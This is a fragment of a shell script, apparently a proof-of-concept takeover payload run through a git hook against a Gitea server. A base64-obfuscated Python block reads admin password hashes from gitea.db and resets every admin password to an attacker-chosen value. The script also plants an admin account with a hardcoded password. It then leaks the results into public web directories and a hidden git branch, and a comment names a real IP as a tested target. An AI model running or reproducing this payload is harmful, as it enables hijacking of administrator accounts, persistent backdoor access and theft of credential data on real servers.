base64;exec(base64.b64decode('CmltcG9ydCBzcWxpdGUzLCBzeXMsIG9zLCBoYXNobGliLCBiYXNlNjQsIHJhbmRvbSwgc3RyaW5nLCBiaW5hc2NpaQpkYiA9IHN5cy5hcmd2WzFdCnRyeToKICAgIGNvbiA9IHNxbGl0ZTMuY29ubmVjdChkYik7IGN1ciA9IGNvbi5jdXJzb3IoKQogICAgY29scyA9IFtyWzFdIGZvciByIGluIGN1ci5leGVjdXRlKCJQUkFHTUEgdGFibGVfaW5mbyh1c2VyKSIpXQogICAgcHJpbnQoIkRCQ09MUyAiICsgIiwiLmpvaW4oY29scykpCiAgICAjIOS4pOenjSBzY2hlbWEg6YO96KaB5ZCDOgogICAgIyAgIOaWsOeJiDogcGFzc3dkX2hhc2gg5YaF6IGUICJhbGdvJGl0ZXIkc2FsdCRoYXNoIgogICAgIyAgIOiAgeeJiDogcGFzc3dkICsgc2FsdCDkuKTliJcgKyBwYXNzd2RfaGFzaF9hbGdvIOaMh+ekuueul+azlQogICAgaWYgInBhc3N3ZF9oYXNoIiBpbiBjb2xzOgogICAgICAgIHNlbCA9ICJTRUxFQ1QgaWQsbmFtZSxwYXNzd2RfaGFzaCBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm5ldyIKICAgIGVsaWYgInBhc3N3ZCIgaW4gY29sczoKICAgICAgICBzZWwgPSAiU0VMRUNUIGlkLG5hbWUscGFzc3dkLHNhbHQscGFzc3dkX2hhc2hfYWxnbyBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm9sZCIKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIkRCRVJSIG5vIHBhc3N3ZCBjb2x1bW46ICIgKyAiLCIuam9pbihjb2xzKSk7IHN5cy5leGl0KDApCiAgICByb3dzID0gY3VyLmV4ZWN1dGUoc2VsKS5mZXRjaGFsbCgpCiAgICBwcmludCgiREJNT0RFICIgKyBtb2RlKQogICAgcHJpbnQoIkRCQURNSU5TICIgKyBzdHIoWyhyWzBdLCByWzFdKSBmb3IgciBpbiByb3dzXSlbOjMwMF0pCiAgICBmb3IgciBpbiByb3dzWzozXToKICAgICAgICBwcmludCgiREJSQVcgaWQ9JXMgbmFtZT0lcyIgJSAoclswXSwgclsxXSkpCiAgICAgICAgaWYgbW9kZSA9PSAibmV3IjoKICAgICAgICAgICAgcHJpbnQoIiAgcGFzc3dkX2hhc2g9JXIiICUgKHN0cihyWzJdKVs6MTIwXSwpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCIgIGFsZ289JXIgc2FsdD0lciBwYXNzd2Q9JXIiICUgKHN0cihyWzRdKSwgc3RyKHJbM10pLCBzdHIoclsyXSlbOjEyMF0pKQogICAgcHcgPSAiRGJBdWRpdCIgKyAiIi5qb2luKHJhbmRvbS5jaG9pY2VzKHN0cmluZy5kaWdpdHMsIGs9OCkpICsgIiF4IgogICAgcmVzID0gW10KICAgIGZvciByb3cgaW4gcm93czoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGlmIG1vZGUgPT0gIm5ldyI6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIgogICAgICAgICAgICAgICAgaWYgbm90IHBoLnN0YXJ0c3dpdGgoInBia2RmMiQiKToKICAgICAgICAgICAgICAgICAgICByZXMuYXBwZW5kKCJBTEdPOiVzOiVzIiAlIChuYW1lLCBwaC5zcGxpdCgiJCIpWzBdKSk7IGNvbnRpbnVlCiAgICAgICAgICAgICAgICBwID0gcGguc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgaXQgPSBpbnQocFsxXSkKICAgICAgICAgICAgICAgIHMwID0gYmFzZTY0LmI2NGRlY29kZShwWzJdICsgIj0iICogKC1sZW4ocFsyXSkgJSA0KSkKICAgICAgICAgICAgICAgIGgwID0gYmFzZTY0LmI2NGRlY29kZShwWzNdICsgIj0iICogKC1sZW4ocFszXSkgJSA0KSkKICAgICAgICAgICAgICAgIHMgPSBvcy51cmFuZG9tKGxlbihzMCkpCiAgICAgICAgICAgICAgICBoID0gaGFzaGxpYi5wYmtkZjJfaG1hYygic2hhMjU2IiwgcHcuZW5jb2RlKCksIHMsIGl0LCBsZW4oaDApKQogICAgICAgICAgICAgICAgbmggPSAicGJrZGYyJCVkJCVzJCVzIiAlIChpdCwgYmFzZTY0LmI2NGVuY29kZShzKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFzZTY0LmI2NGVuY29kZShoKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSkKICAgICAgICAgICAgICAgIGlmICJtdXN0X2NoYW5nZV9wYXNzd29yZCIgaW4gY29sczoKICAgICAgICAgICAgICAgICAgICBjdXIuZXhlY3V0ZSgiVVBEQVRFIHVzZXIgU0VUIHBhc3N3ZF9oYXNoPT8sIG11c3RfY2hhbmdlX3Bhc3N3b3JkPTAgV0hFUkUgaWQ9PyIsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCBwYXNzd2RfaGFzaD0/IFdIRVJFIGlkPT8iLCAobmgsIHVpZCkpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoLCBzYWx0LCBhbGdvID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIiwgcm93WzNdIG9yICIiLCAocm93WzRdIG9yICJwYmtkZjIiKQogICAgICAgICAgICAgICAgIyDogIEgc2NoZW1hIOeahCBhbGdvIOS4suiHquW4puWPguaVsDogInBia2RmMiQ1MDAwMCQ1MCIgPSDnrpfms5Uk6L+t5Luj5pWwJOWvhumSpemVv+W6pgogICAgICAgICAgICAgICAgIyAo5a6e5rWLIDI3LjE1NS4xMjAuNjE6ODQxOCDlsLHmmK/ov5nnp40p44CC5Y6f5Yik5patIGFsZ28gIT0gInBia2RmMiIg5Lya5oqK5a6D5b2T5LiN5pSv5oyB6ICM6Lez6L+H44CCCiAgICAgICAgICAgICAgICBpZiBub3QgYWxnby5sb3dlcigpLnN0YXJ0c3dpdGgoInBia2RmMiIpOgogICAgICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIkFMR086JXM6JXMiICUgKG5hbWUsIGFsZ28pKTsgY29udGludWUKICAgICAgICAgICAgICAgIF9hcCA9IGFsZ28uc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGl0ID0gaW50KF9hcFsxXSkgaWYgbGVuKF9hcCkgPiAxIGVsc2UgMTAwMDAKICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgICAgICAgICAgaXQgPSAxMDAwMAogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IGludChfYXBbMl0pIGlmIGxlbihfYXApID4gMiBlbHNlIDUwCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IDUwCiAgICAgICAgICAgICAgICBpZiBwaCBhbmQgbGVuKHBoKSAlIDIgPT0gMDoKICAgICAgICAgICAgICAgICAgICBrZXlsZW4gPSBsZW4ocGgpIC8vIDIgICAjIOS7peeOsOaciSBoYXNoIOWunumZhemVv+W6puS4uuWHhgogICAgICAgICAgICAgICAgIyDnu5Porroo5a6e5rWL56Gu6K6kKTog6ICB54mIIEdpdGVhIOeahCBzYWx0IOWIl+aYryAqKmhleCDlrZfnrKbkuLIsIOmcgOino+eggeWQjioq5Y+C5LiOIHBia2RmMuOAggogICAgICAgICAgICAgICAgIyDmm77or6/liKTkuLoi5Y6f5qC35a2X6IqCIuW5tuWPoOWKoOWPjOWAmemAiSwg57uT5p6cIHJhd2J5dGVzIOWQjuWGmeWFpeimhuebluS6huato+ehrueahCBoZXhieXRlcywKICAgICAgICAgICAgICAgICMg5a+86Ie0IDQwMeOAguWPquS/neeVmSBoZXgg6Kej56CB6L+Z5LiA5p2h5q2j56Gu6Lev5b6E44CCCiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgc2FsdF9iID0gYmluYXNjaWkudW5oZXhsaWZ5KHNhbHQpCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIHNhbHRfYiA9IHNhbHQuZW5jb2RlKCkKICAgICAgICAgICAgICAgIGggPSBoYXNobGliLnBia2RmMl9obWFjKCJzaGEyNTYiLCBwdy5lbmNvZGUoKSwgc2FsdF9iLCBpdCwga2V5bGVuKQogICAgICAgICAgICAgICAgbmggPSBiaW5hc2NpaS5oZXhsaWZ5KGgpLmRlY29kZSgpCiAgICAgICAgICAgICAgICBzZXRzID0gInBhc3N3ZD0/IgogICAgICAgICAgICAgICAgaWYgIm11c3RfY2hhbmdlX3Bhc3N3b3JkIiBpbiBjb2xzOgogICAgICAgICAgICAgICAgICAgIHNldHMgKz0gIixtdXN0X2NoYW5nZV9wYXNzd29yZD0wIgogICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCAlcyBXSEVSRSBpZD0/IiAlIHNldHMsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzOml0ZXIlczpsZW4lcyIgJSAodWlkLCBuYW1lLCBpdCwga2V5bGVuKSkKICAgICAgICAgICAgY29uLmNvbW1pdCgpCiAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzIiAlICh1aWQsIG5hbWUpKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgaWU6CiAgICAgICAgICAgIHJlcy5hcHBlbmQoIkVSUjolczolcyIgJSAocm93WzFdLCBpZSkpCiAgICBwcmludCgiREJQVz0iICsgcHcpCiAgICBwcmludCgiREJSRVNVTFQgIiArICJ8Ii5qb2luKHJlcykpCiAgICBjb24uY2xvc2UoKQpleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICBwcmludCgiREJFUlIgJXM6ICVzIiAlICh0eXBlKGUpLl9fbmFtZV9fLCBlKSkK').decode())" "$_db"; _done=1; done; [ "$_done" = "0" ] && echo "DBTAKEOVER no writable gitea.db"; }; if [ -z "$G" ]; then _last="ERROR: gitea not found (WD=$WD CFG=$CFG)"; echo "$_last"; else _last=""; _n=0; while [ "$_n" -lt 3 ]; do _n=$((_n + 1)); _out="$( ( if [ -n "$RUNP" ]; then cd "$RUNP" 2>/dev/null; fi; "$G" $C admin user create --username "test-admin-dv8s" --password "Test-admin-dv8syv!x" --email "test-admin-dv8s@example.com" --admin --must-change-password=false 2>&1 | grep -v "\[SQL\]" ) )"; case "$_out" in *"successfully created"*|*"New user"*|*"already exists"*) _last="$_out"; break;; *"no such table"*|*"Access denied"*|*"Error 1045"*|*"could not open shared memory"*| *"MustInstalled"*|*"Unable to load config"*|*"flag provided but not defined"*|*"Failed to run app"*) _last="$_out"; break;; esac; _last="$_out"; if [ "$_n" -lt 3 ]; then echo "[CLI retry $_n] gitea admin create 未成功,3s 后重试"; sleep 3; fi; done; printf "%s\n" "$_last"; fi; case "$_last" in *"successfully created"*|*"New user"*|*"already exists"*) ;; *) echo "HOOKDB CLI 未成功 -> 转数据库改密兜底"; _DBTO ;; esac; T1="$(date +%s 2>/dev/null || echo 0)"; echo "HOOKTIME elapsed=$((T1-T0))s"; echo ---DONE---; } > "$OUT" 2>&1; if [ -n "$WD" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_dv8syv.txt" 2>/dev/null; done; fi; for d in "$AV" "$R/data/repo-avatars" "$R/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && cp "$OUT" "$d/demo_dv8syv.txt" 2>/dev/null; done; for d in "$WD/custom/public" "$R/custom/public" "/data/gitea/custom/public" "/var/lib/gitea/custom/public"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_dv8syv.txt" 2>/dev/null; done; if [ -n "$WD" ]; then mkdir -p "$WD/public" 2>/dev/null; cp "$OUT" "$WD/public/demo_dv8syv.txt" 2>/dev/null; fi; HB=""; for _gd in "$GIT_DIR" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)" "$(git rev-parse --git-dir 2>/dev/null)"; do [ -n "$_gd" ] || continue; case "$_gd" in /*) ;; *) _gd="$(cd "$_gd" 2>/dev/null && pwd)";; esac; [ -n "$_gd" ] && [ -d "$_gd/objects" ] && HB="$HB $_gd"; done; for _ad in "$GIT_DIR/objects/info/alternates" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)/objects/info/alternates"; do [ -f "$_ad" ] || continue; _ao="$(sed -n "1p" "$_ad" 2>/dev/null)"; [ -n "$_ao" ] || continue; case "$_ao" in /*) _ao="${_ao%/objects}";; *) _ao="$(cd "$(dirname "$_ad")/../.." 2>/dev/null && pwd)/${_ao%/objects}";; esac; [ -d "$_ao/objects" ] && HB="$HB $_ao"; done; for _gd in $HB; do [ -s "$OUT" ] || break; _gob="$(git --git-dir="$_gd" hash-object -w --stdin < "$OUT" 2>/dev/null)"; [ -n "$_gob" ] || continue; _gt="$(printf "100644 blob %s\toutput\n" "$_gob" | git --git-dir="$_gd" mktree 2>/dev/null)"; [ -n "$_gt" ] || continue; _gc="$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@localhost GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@localhost git --git-dir="$_gd" commit-tree "$_gt" -m poc 2>/dev/null)"; [ -n "$_gc" ] && git --git-dir="$_gd" update-ref "refs/heads/outdv8syv" "$_gc" 2>/dev/null; done; echo "HB=$HB" >> "$OUT" 2>/dev/null;